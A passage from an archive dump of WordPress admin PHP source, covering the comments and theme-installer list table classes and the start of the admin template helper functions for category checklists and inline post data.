%3$s</a>' ), $comment_url, /* translators: comment date format. See http://php.net/date */ get_comment_date( __( 'Y/m/d' ) ), get_comment_date( get_option( 'time_format' ) ) ); if ( $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); $parent_link = esc_url( get_comment_link( $comment->comment_parent ) ); $name = get_comment_author( $parent->comment_ID ); printf( ' | '.__( 'In reply to <a href="%1$s">%2$s</a>.' ), $parent_link, $name ); } echo '</div>'; comment_text(); if ( $user_can ) { ?> <div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden"> <textarea class="comment" rows="1" cols="1"><?php /** This filter is documented in wp-admin/includes/comment.php */ echo esc_textarea( apply_filters( 'comment_edit_pre', $comment->comment_content ) ); ?></textarea> <div class="author-email"><?php echo esc_attr( $comment->comment_author_email ); ?></div> <div class="author"><?php echo esc_attr( $comment->comment_author ); ?></div> <div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div> <div class="comment_status"><?php echo $comment->comment_approved; ?></div> </div> <?php } if ( $user_can ) { // preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash $actions = array( 'approve' => '', 'unapprove' => '', 'reply' => '', 'quickedit' => '', 'edit' => '', 'spam' => '', 'unspam' => '', 'trash' => '', 'untrash' => '', 'delete' => '' ); if ( $comment_status && 'all' != $comment_status ) { // not looking at all comments if ( 'approved' == $the_comment_status ) $actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=unapproved' class='vim-u vim-destructive' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; else if ( 'unapproved' == $the_comment_status ) $actions['approve'] = "<a href='$approve_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=approved' class='vim-a vim-destructive' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; } else { $actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; $actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; } if ( 'spam' != $the_comment_status && 'trash' != $the_comment_status ) { $actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>'; } elseif ( 'spam' == $the_comment_status ) { $actions['unspam'] = "<a href='$unspam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:unspam=1' class='vim-z vim-destructive'>" . _x( 'Not Spam', 'comment' ) . '</a>'; } elseif ( 'trash' == $the_comment_status ) { $actions['untrash'] = "<a href='$untrash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:untrash=1' class='vim-z vim-destructive'>" . __( 'Restore' ) . '</a>'; } if ( 'spam' == $the_comment_status || 'trash' == $the_comment_status || !EMPTY_TRASH_DAYS ) { $actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::delete=1' class='delete vim-d vim-destructive'>" . __( 'Delete Permanently' ) . '</a>'; } else { $actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x( 'Trash', 'verb' ) . '</a>'; } if ( 'spam' != $the_comment_status && 'trash' != $the_comment_status ) { $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . esc_attr__( 'Edit comment' ) . "'>". __( 'Edit' ) . '</a>'; $actions['quickedit'] = '<a onclick="window.commentReply && commentReply.open( \''.$comment->comment_ID.'\',\''.$post->ID.'\',\'edit\' );return false;" class="vim-q" title="'.esc_attr__( 'Quick Edit' ).'" href="#">' . __( 'Quick Edit' ) . '</a>'; $actions['reply'] = '<a onclick="window.commentReply && commentReply.open( \''.$comment->comment_ID.'\',\''.$post->ID.'\' );return false;" class="vim-r" title="'.esc_attr__( 'Reply to this comment' ).'" href="#">' . __( 'Reply' ) . '</a>'; } /** This filter is documented in wp-admin/includes/dashboard.php */ $actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment ); $i = 0; echo '<div class="row-actions">'; foreach ( $actions as $action => $link ) { ++$i; ( ( ( 'approve' == $action || 'unapprove' == $action ) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; // Reply and quickedit need a hide-if-no-js span when not added with ajax if ( ( 'reply' == $action || 'quickedit' == $action ) && ! defined('DOING_AJAX') ) $action .= ' hide-if-no-js'; elseif ( ( $action == 'untrash' && $the_comment_status == 'trash' ) || ( $action == 'unspam' && $the_comment_status == 'spam' ) ) { if ( '1' == get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ) ) $action .= ' approve'; else $action .= ' unapprove'; } echo "<span class='$action'>$sep$link</span>"; } echo '</div>'; } } function column_author( $comment ) { global $comment_status; $author_url = get_comment_author_url(); if ( 'http://' == $author_url ) $author_url = ''; $author_url_display = preg_replace( '|http://(www\.)?|i', '', $author_url ); if ( strlen( $author_url_display ) > 50 ) $author_url_display = substr( $author_url_display, 0, 49 ) . '…'; echo "<strong>"; comment_author(); echo '</strong><br />'; if ( !empty( $author_url ) ) echo "<a title='$author_url' href='$author_url'>$author_url_display</a><br />"; if ( $this->user_can ) { if ( !empty( $comment->comment_author_email ) ) { comment_author_email_link(); echo '<br />'; } echo '<a href="edit-comments.php?s='; comment_author_IP(); echo '&mode=detail'; if ( 'spam' == $comment_status ) echo '&comment_status=spam'; echo '">'; comment_author_IP(); echo '</a>'; } } function column_date( $comment ) { return get_comment_date( __( 'Y/m/d \a\t g:ia' ) ); } function column_response( $comment ) { $post = get_post(); if ( isset( $this->pending_count[$post->ID] ) ) { $pending_comments = $this->pending_count[$post->ID]; } else { $_pending_count_temp = get_pending_comments_num( array( $post->ID ) ); $pending_comments = $this->pending_count[$post->ID] = $_pending_count_temp[$post->ID]; } if ( current_user_can( 'edit_post', $post->ID ) ) { $post_link = "<a href='" . get_edit_post_link( $post->ID ) . "'>"; $post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>'; } else { $post_link = esc_html( get_the_title( $post->ID ) ); } echo '<div class="response-links"><span class="post-com-count-wrapper">'; echo $post_link . '<br />'; $this->comments_bubble( $post->ID, $pending_comments ); echo '</span> '; $post_type_object = get_post_type_object( $post->post_type ); echo "<a href='" . get_permalink( $post->ID ) . "'>" . $post_type_object->labels->view_item . '</a>'; echo '</div>'; if ( 'attachment' == $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true ) ) ) echo $thumb; } function column_default( $comment, $column_name ) { /** * Fires when the default column output is displayed for a single row. * * @since 2.8.0 * * @param string $column_name The custom column's name. * @param int $comment->comment_ID The custom column's unique ID number. */ do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID ); } } /** * Post Comments List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private * * @see WP_Comments_Table */ class WP_Post_Comments_List_Table extends WP_Comments_List_Table { function get_column_info() { $this->_column_headers = array( array( 'author' => __( 'Author' ), 'comment' => _x( 'Comment', 'column name' ), ), array(), array(), ); return $this->_column_headers; } function get_table_classes() { $classes = parent::get_table_classes(); $classes[] = 'comments-box'; return $classes; } function display( $output_empty = false ) { extract( $this->_args ); wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' ); ?> <table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;"> <tbody id="the-comment-list"<?php if ( $singular ) echo " data-wp-lists='list:$singular'"; ?>> <?php if ( ! $output_empty ) $this->display_rows_or_placeholder(); ?> </tbody> </table> <?php } function get_per_page( $comment_status = false ) { return 10; } } class-wp-theme-install-list-table.php000077700000033643151514577750013651 0ustar00<?php /** * Theme Installer List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Theme_Install_List_Table extends WP_Themes_List_Table { var $features = array(); function ajax_user_can() { return current_user_can( 'install_themes' ); } function prepare_items() { include( ABSPATH . 'wp-admin/includes/theme-install.php' ); global $tabs, $tab, $paged, $type, $theme_field_defaults; wp_reset_vars( array( 'tab' ) ); $search_terms = array(); $search_string = ''; if ( ! empty( $_REQUEST['s'] ) ){ $search_string = strtolower( wp_unslash( $_REQUEST['s'] ) ); $search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) ); } if ( ! empty( $_REQUEST['features'] ) ) $this->features = $_REQUEST['features']; $paged = $this->get_pagenum(); $per_page = 36; // These are the tabs which are shown on the page, $tabs = array(); $tabs['dashboard'] = __( 'Search' ); if ( 'search' == $tab ) $tabs['search'] = __( 'Search Results' ); $tabs['upload'] = __( 'Upload' ); $tabs['featured'] = _x( 'Featured','Theme Installer' ); //$tabs['popular'] = _x( 'Popular','Theme Installer' ); $tabs['new'] = _x( 'Newest','Theme Installer' ); $tabs['updated'] = _x( 'Recently Updated','Theme Installer' ); $nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item. /** * Filter the tabs shown on the Install Themes screen. * * @since 2.8.0 * * @param array $tabs The tabs shown on the Install Themes screen. Defaults are * 'dashboard', 'search', 'upload', 'featured', 'new', and 'updated'. */ $tabs = apply_filters( 'install_themes_tabs', $tabs ); /** * Filter tabs not associated with a menu item on the Install Themes screen. * * @since 2.8.0 * * @param array $nonmenu_tabs The tabs that don't have a menu item on * the Install Themes screen. */ $nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs ); // If a non-valid menu tab has been selected, And it's not a non-menu action. if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs ) ) ) $tab = key( $tabs ); $args = array( 'page' => $paged, 'per_page' => $per_page, 'fields' => $theme_field_defaults ); switch ( $tab ) { case 'search': $type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term'; switch ( $type ) { case 'tag': $args['tag'] = array_map( 'sanitize_key', $search_terms ); break; case 'term': $args['search'] = $search_string; break; case 'author': $args['author'] = $search_string; break; } if ( ! empty( $this->features ) ) { $args['tag'] = $this->features; $_REQUEST['s'] = implode( ',', $this->features ); $_REQUEST['type'] = 'tag'; } add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 ); break; case 'featured': //case 'popular': case 'new': case 'updated': $args['browse'] = $tab; break; default: $args = false; break; } /** * Filter API request arguments for each Install Themes screen tab. * * The dynamic portion of the hook name, $tab, refers to the theme install * tabs. Default tabs are 'dashboard', 'search', 'upload', 'featured', * 'new', and 'updated'. * * @since 3.7.0 * * @param array $args An array of themes API arguments. */ $args = apply_filters( 'install_themes_table_api_args_' . $tab, $args ); if ( ! $args ) return; $api = themes_api( 'query_themes', $args ); if ( is_wp_error( $api ) ) wp_die( $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a>' ); $this->items = $api->themes; $this->set_pagination_args( array( 'total_items' => $api->info['results'], 'per_page' => $args['per_page'], 'infinite_scroll' => true, ) ); } function no_items() { _e( 'No themes match your request.' ); } function get_views() { global $tabs, $tab; $display_tabs = array(); foreach ( (array) $tabs as $action => $text ) { $class = ( $action == $tab ) ? ' class="current"' : ''; $href = self_admin_url('theme-install.php?tab=' . $action); $display_tabs['theme-install-'.$action] = "<a href='$href'$class>$text</a>"; } return $display_tabs; } function display() { wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' ); ?> <div class="tablenav top themes"> <div class="alignleft actions"> <?php /** * Fires in the Install Themes list table header. * * @since 2.8.0 */ do_action( 'install_themes_table_header' ); ?> </div> <?php $this->pagination( 'top' ); ?> <br class="clear" /> </div> <div id="availablethemes"> <?php $this->display_rows_or_placeholder(); ?> </div> <?php parent::tablenav( 'bottom' ); } function display_rows() { $themes = $this->items; foreach ( $themes as $theme ) { ?> <div class="available-theme installable-theme"><?php $this->single_row( $theme ); ?></div> <?php } // end foreach $theme_names $this->theme_installer(); } /** * Prints a theme from the WordPress.org API. * * @param object $theme An object that contains theme data returned by the WordPress.org API. * * Example theme data: * object(stdClass)[59] * public 'name' => string 'Magazine Basic' * public 'slug' => string 'magazine-basic' * public 'version' => string '1.1' * public 'author' => string 'tinkerpriest' * public 'preview_url' => string 'http://wp-themes.com/?magazine-basic' * public 'screenshot_url' => string 'http://wp-themes.com/wp-content/themes/magazine-basic/screenshot.png' * public 'rating' => float 80 * public 'num_ratings' => int 1 * public 'homepage' => string 'http://wordpress.org/themes/magazine-basic' * public 'description' => string 'A basic magazine style layout with a fully customizable layout through a backend interface. Designed by <a href="http://bavotasan.com">c.bavota</a> of <a href="http://tinkerpriestmedia.com">Tinker Priest Media</a>.' * public 'download_link' => string 'http://wordpress.org/themes/download/magazine-basic.1.1.zip' */ function single_row( $theme ) { global $themes_allowedtags; if ( empty( $theme ) ) return; $name = wp_kses( $theme->name, $themes_allowedtags ); $author = wp_kses( $theme->author, $themes_allowedtags ); $preview_title = sprintf( __('Preview “%s”'), $name ); $preview_url = add_query_arg( array( 'tab' => 'theme-information', 'theme' => $theme->slug, ), self_admin_url( 'theme-install.php' ) ); $actions = array(); $install_url = add_query_arg( array( 'action' => 'install-theme', 'theme' => $theme->slug, ), self_admin_url( 'update.php' ) ); $update_url = add_query_arg( array( 'action' => 'upgrade-theme', 'theme' => $theme->slug, ), self_admin_url( 'update.php' ) ); $status = $this->_get_theme_status( $theme ); switch ( $status ) { default: case 'install': $actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Install %s' ), $name ) ) . '">' . __( 'Install Now' ) . '</a>'; break; case 'update_available': $actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>'; break; case 'newer_installed': case 'latest_installed': $actions[] = '<span class="install-now" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>'; break; } $actions[] = '<a class="install-theme-preview" href="' . esc_url( $preview_url ) . '" title="' . esc_attr( sprintf( __( 'Preview %s' ), $name ) ) . '">' . __( 'Preview' ) . '</a>'; /** * Filter the install action links for a theme in the Install Themes list table. * * @since 3.4.0 * * @param array $actions An array of theme action hyperlinks. Defaults are * links to Install Now, Preview, and Details. * @param WP_Theme $theme Theme object. */ $actions = apply_filters( 'theme_install_actions', $actions, $theme ); ?> <a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>"> <img src='<?php echo esc_url( $theme->screenshot_url ); ?>' width='150' /> </a> <h3><?php echo $name; ?></h3> <div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div> <div class="action-links"> <ul> <?php foreach ( $actions as $action ): ?> <li><?php echo $action; ?></li> <?php endforeach; ?> <li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li> </ul> </div> <?php $this->install_theme_info( $theme ); } /** * Prints the wrapper for the theme installer. */ function theme_installer() { ?> <div id="theme-installer" class="wp-full-overlay expanded"> <div class="wp-full-overlay-sidebar"> <div class="wp-full-overlay-header"> <a href="#" class="close-full-overlay button-secondary"><?php _e( 'Close' ); ?></a> <span class="theme-install"></span> </div> <div class="wp-full-overlay-sidebar-content"> <div class="install-theme-info"></div> </div> <div class="wp-full-overlay-footer"> <a href="#" class="collapse-sidebar" title="<?php esc_attr_e('Collapse Sidebar'); ?>"> <span class="collapse-sidebar-label"><?php _e('Collapse'); ?></span> <span class="collapse-sidebar-arrow"></span> </a> </div> </div> <div class="wp-full-overlay-main"></div> </div> <?php } /** * Prints the wrapper for the theme installer with a provided theme's data. * Used to make the theme installer work for no-js. * * @param object $theme - A WordPress.org Theme API object. */ function theme_installer_single( $theme ) { ?> <div id="theme-installer" class="wp-full-overlay single-theme"> <div class="wp-full-overlay-sidebar"> <?php $this->install_theme_info( $theme ); ?> </div> <div class="wp-full-overlay-main"> <iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe> </div> </div> <?php } /** * Prints the info for a theme (to be used in the theme installer modal). * * @param object $theme - A WordPress.org Theme API object. */ function install_theme_info( $theme ) { global $themes_allowedtags; if ( empty( $theme ) ) return; $name = wp_kses( $theme->name, $themes_allowedtags ); $author = wp_kses( $theme->author, $themes_allowedtags ); $num_ratings = sprintf( _n( '(based on %s rating)', '(based on %s ratings)', $theme->num_ratings ), number_format_i18n( $theme->num_ratings ) ); $install_url = add_query_arg( array( 'action' => 'install-theme', 'theme' => $theme->slug, ), self_admin_url( 'update.php' ) ); $update_url = add_query_arg( array( 'action' => 'upgrade-theme', 'theme' => $theme->slug, ), self_admin_url( 'update.php' ) ); $status = $this->_get_theme_status( $theme ); ?> <div class="install-theme-info"><?php switch ( $status ) { default: case 'install': echo '<a class="theme-install button-primary" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '">' . __( 'Install' ) . '</a>'; break; case 'update_available': echo '<a class="theme-install button-primary" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>'; break; case 'newer_installed': case 'latest_installed': echo '<span class="theme-install" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>'; break; } ?> <h3 class="theme-name"><?php echo $name; ?></h3> <span class="theme-by"><?php printf( __( 'By %s' ), $author ); ?></span> <?php if ( isset( $theme->screenshot_url ) ): ?> <img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url ); ?>" /> <?php endif; ?> <div class="theme-details"> <?php wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings ) ); ?> <div class="theme-version"> <strong><?php _e('Version:') ?> </strong> <?php echo wp_kses( $theme->version, $themes_allowedtags ); ?> </div> <div class="theme-description"> <?php echo wp_kses( $theme->description, $themes_allowedtags ); ?> </div> </div> <input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" /> </div> <?php } /** * Send required variables to JavaScript land * * @since 3.4.0 * @access private * * @uses $tab Global; current tab within Themes->Install screen * @uses $type Global; type of search. */ function _js_vars( $extra_args = array() ) { global $tab, $type; parent::_js_vars( compact( 'tab', 'type' ) ); } /** * Check to see if the theme is already installed. * * @since 3.4.0 * @access private * * @param object $theme - A WordPress.org Theme API object. * @return string Theme status. */ private function _get_theme_status( $theme ) { $status = 'install'; $installed_theme = wp_get_theme( $theme->slug ); if ( $installed_theme->exists() ) { if ( version_compare( $installed_theme->get('Version'), $theme->version, '=' ) ) $status = 'latest_installed'; elseif ( version_compare( $installed_theme->get('Version'), $theme->version, '>' ) ) $status = 'newer_installed'; else $status = 'update_available'; } return $status; } } template.php000077700000224545151514577750007134 0ustar00<?php /** * Template WordPress Administration API. * * A Big Mess. Also some neat functions that are nicely written. * * @package WordPress * @subpackage Administration */ // // Category Checklists // /** * Walker to output an unordered list of category checkbox <input> elements. * * @see Walker * @see wp_category_checklist() * @see wp_terms_checklist() * @since 2.5.1 */ class Walker_Category_Checklist extends Walker { var $tree_type = 'category'; var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); //TODO: decouple this /** * Starts the list before the elements are added. * * @see Walker:start_lvl() * * @since 2.5.1 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of category. Used for tab indentation. * @param array $args An array of arguments. @see wp_terms_checklist() */ function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "$indent<ul class='children'>\n"; } /** * Ends the list of after the elements are added. * * @see Walker::end_lvl() * * @since 2.5.1 * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of category. Used for tab indentation. * @param array $args An array of arguments. @see wp_terms_checklist() */ function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $output .= "$indent</ul>\n"; } /** * Start the element output. * * @see Walker::start_el() * * @since 2.5.1 * * @param string $output Passed by reference. Used to append additional content. * @param object $category The current term object. * @param int $depth Depth of the term in reference to parents. Default 0. * @param array $args An array of arguments. @see wp_terms_checklist() * @param int $id ID of the current term. */ function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) { extract($args); if ( empty($taxonomy) ) $taxonomy = 'category'; if ( $taxonomy == 'category' ) $name = 'post_category'; else $name = 'tax_input['.$taxonomy.']'; $class = in_array( $category->term_id, $popular_cats ) ? ' class="popular-category"' : ''; /** This filter is documented in wp-includes/category-template.php */ $output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" . '<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="'.$name.'[]" id="in-'.$taxonomy.'-' . $category->term_id . '"' . checked( in_array( $category->term_id, $selected_cats ), true, false ) . disabled( empty( $args['disabled'] ), false, false ) . ' /> ' . esc_html( apply_filters( 'the_category', $category->name ) ) . '</label>'; } /** * Ends the element output, if needed. * * @see Walker::end_el() * * @since 2.5.1 * * @param string $output Passed by reference. Used to append additional content. * @param object $category The current term object. * @param int $depth Depth of the term in reference to parents. Default 0. * @param array $args An array of arguments. @see wp_terms_checklist() */ function end_el( &$output, $category, $depth = 0, $args = array() ) { $output .= "</li>\n"; } } /** * Output an unordered list of checkbox <input> elements labelled * with category names. * * @see wp_terms_checklist() * @since 2.5.1 * * @param int $post_id Mark categories associated with this post as checked. $selected_cats must not be an array. * @param int $descendants_and_self ID of the category to output along with its descendents. * @param bool|array $selected_cats List of categories to mark as checked. * @param bool|array $popular_cats Override the list of categories that receive the "popular-category" class. * @param object $walker Walker object to use to build the output. * @param bool $checked_ontop Move checked items out of the hierarchy and to the top of the list. */ function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) { wp_terms_checklist( $post_id, array( 'taxonomy' => 'category', 'descendants_and_self' => $descendants_and_self, 'selected_cats' => $selected_cats, 'popular_cats' => $popular_cats, 'walker' => $walker, 'checked_ontop' => $checked_ontop ) ); } /** * Output an unordered list of checkbox <input> elements labelled * with term names. Taxonomy independent version of wp_category_checklist(). * * @since 3.0.0 * * @param int $post_id * @param array $args */ function wp_terms_checklist($post_id = 0, $args = array()) { $defaults = array( 'descendants_and_self' => 0, 'selected_cats' => false, 'popular_cats' => false, 'walker' => null, 'taxonomy' => 'category', 'checked_ontop' => true ); /** * Filter the taxonomy terms checklist arguments. * * @since 3.4.0 * * @see wp_terms_checklist() * * @param array $args An array of arguments. * @param int $post_id The post ID. */ $args = apply_filters( 'wp_terms_checklist_args', $args, $post_id ); extract( wp_parse_args($args, $defaults), EXTR_SKIP ); if ( empty($walker) || !is_a($walker, 'Walker') ) $walker = new Walker_Category_Checklist; $descendants_and_self = (int) $descendants_and_self; $args = array('taxonomy' => $taxonomy); $tax = get_taxonomy($taxonomy); $args['disabled'] = !current_user_can($tax->cap->assign_terms); if ( is_array( $selected_cats ) ) $args['selected_cats'] = $selected_cats; elseif ( $post_id ) $args['selected_cats'] = wp_get_object_terms($post_id, $taxonomy, array_merge($args, array('fields' => 'ids'))); else $args['selected_cats'] = array(); if ( is_array( $popular_cats ) ) $args['popular_cats'] = $popular_cats; else $args['popular_cats'] = get_terms( $taxonomy, array( 'fields' => 'ids', 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) ); if ( $descendants_and_self ) { $categories = (array) get_terms($taxonomy, array( 'child_of' => $descendants_and_self, 'hierarchical' => 0, 'hide_empty' => 0 ) ); $self = get_term( $descendants_and_self, $taxonomy ); array_unshift( $categories, $self ); } else { $categories = (array) get_terms($taxonomy, array('get' => 'all')); } if ( $checked_ontop ) { // Post process $categories rather than adding an exclude to the get_terms() query to keep the query the same across all posts (for any query cache) $checked_categories = array(); $keys = array_keys( $categories ); foreach( $keys as $k ) { if ( in_array( $categories[$k]->term_id, $args['selected_cats'] ) ) { $checked_categories[] = $categories[$k]; unset( $categories[$k] ); } } // Put checked cats on top echo call_user_func_array(array(&$walker, 'walk'), array($checked_categories, 0, $args)); } // Then the rest of them echo call_user_func_array(array(&$walker, 'walk'), array($categories, 0, $args)); } /** * Retrieve a list of the most popular terms from the specified taxonomy. * * If the $echo argument is true then the elements for a list of checkbox * <input> elements labelled with the names of the selected terms is output. * If the $post_ID global isn't empty then the terms associated with that * post will be marked as checked. * * @since 2.5.0 * * @param string $taxonomy Taxonomy to retrieve terms from. * @param int $default Unused. * @param int $number Number of terms to retrieve. Defaults to 10. * @param bool $echo Optionally output the list as well. Defaults to true. * @return array List of popular term IDs. */ function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) { $post = get_post(); if ( $post && $post->ID ) $checked_terms = wp_get_object_terms($post->ID, $taxonomy, array('fields'=>'ids')); else $checked_terms = array(); $terms = get_terms( $taxonomy, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false ) ); $tax = get_taxonomy($taxonomy); $popular_ids = array(); foreach ( (array) $terms as $term ) { $popular_ids[] = $term->term_id; if ( !$echo ) // hack for AJAX use continue; $id = "popular-$taxonomy-$term->term_id"; $checked = in_array( $term->term_id, $checked_terms ) ? 'checked="checked"' : ''; ?> <li id="<?php echo $id; ?>" class="popular-category"> <label class="selectit"> <input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> /> <?php /** This filter is documented in wp-includes/category-template.php */ echo esc_html( apply_filters( 'the_category', $term->name ) ); ?> </label> </li> <?php } return $popular_ids; } /** * {@internal Missing Short Description}} * * @since 2.5.1 * * @param unknown_type $link_id */ function wp_link_category_checklist( $link_id = 0 ) { $default = 1; if ( $link_id ) { $checked_categories = wp_get_link_cats( $link_id ); // No selected categories, strange if ( ! count( $checked_categories ) ) $checked_categories[] = $default; } else { $checked_categories[] = $default; } $categories = get_terms( 'link_category', array( 'orderby' => 'name', 'hide_empty' => 0 ) ); if ( empty( $categories ) ) return; foreach ( $categories as $category ) { $cat_id = $category->term_id; /** This filter is documented in wp-includes/category-template.php */ $name = esc_html( apply_filters( 'the_category', $category->name ) ); $checked = in_array( $cat_id, $checked_categories ) ? ' checked="checked"' : ''; echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, "</label></li>"; } } // adds hidden fields with the data for use in the inline editor for posts and pages /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param unknown_type $post */ function get_inline_data($post) { $post_type_object = get_post_type_object($post->post_type); if ( ! current_user_can( 'edit_post', $post->ID ) ) return; $title = esc_textarea( trim( $post->post_title ) ); /** This filter is documented in wp-admin/edit-tag-form.php */ echo ' <div class="hidden" id="inline_' . $post->ID . '"> <div class="post_title">' . $title . '</div> <div class="post_name">' . apply_filters( 'editable_slug', $post->post_name ) . '</div> <div class="post_author">' . $post->post_author . '</div> <div class="comment_status">' . esc_html( $post->comment_status ) . '</div> <div class="ping_status">' . esc_html( $post->ping_status ) . '</div> <div class="_status">' . esc_html( $post->post_status ) . '</div> <div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div> <div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div> <div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div> <div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div> <div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div> <div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div> <div class="post_password">' . esc_html( $post->post_password ) . '</div>'; if ( $post_type_object->hierarchical ) echo '<div class="post_parent">' . $post->post_parent . '</div>'; if ( $post->post_type == 'page' ) echo '<div class="page_template">' . esc_html( get_post_meta( $post->ID, '_wp_page_template', true ) ) . '</div>'; if ( post_type_supports( $post->post_type, 'page-attributes' ) ) echo '<div class="menu_order">' . $post->menu_order . '</div>'; $taxonomy_names = get_object_taxonomies( $post->post_type ); foreach ( $taxonomy_names as $taxonomy_name) { $taxonomy = get_taxonomy( $taxonomy_name ); if ( $taxonomy->hierarchical && $taxonomy->show_ui ) { echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', wp_get_object_terms( $post->ID, $taxonomy_name, array( 'fields' => 'ids' ) ) ) . '</div>'; } elseif ( $taxonomy->show_ui ) { echo '<div class="tags_input" id="'.$taxonomy_name.'_'.$post->ID.'">' . esc_html( str_replace( ',', ', ', get_terms_to_edit( $post->ID, $taxonomy_name ) ) ) . '</div>'; } } if ( !$post_type_object->hierarchical ) echo '<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>'; if ( post_type_supports( $post->post_type, 'post-formats' ) ) echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>'; echo '</div>'; } /** * {@internal Missing Short 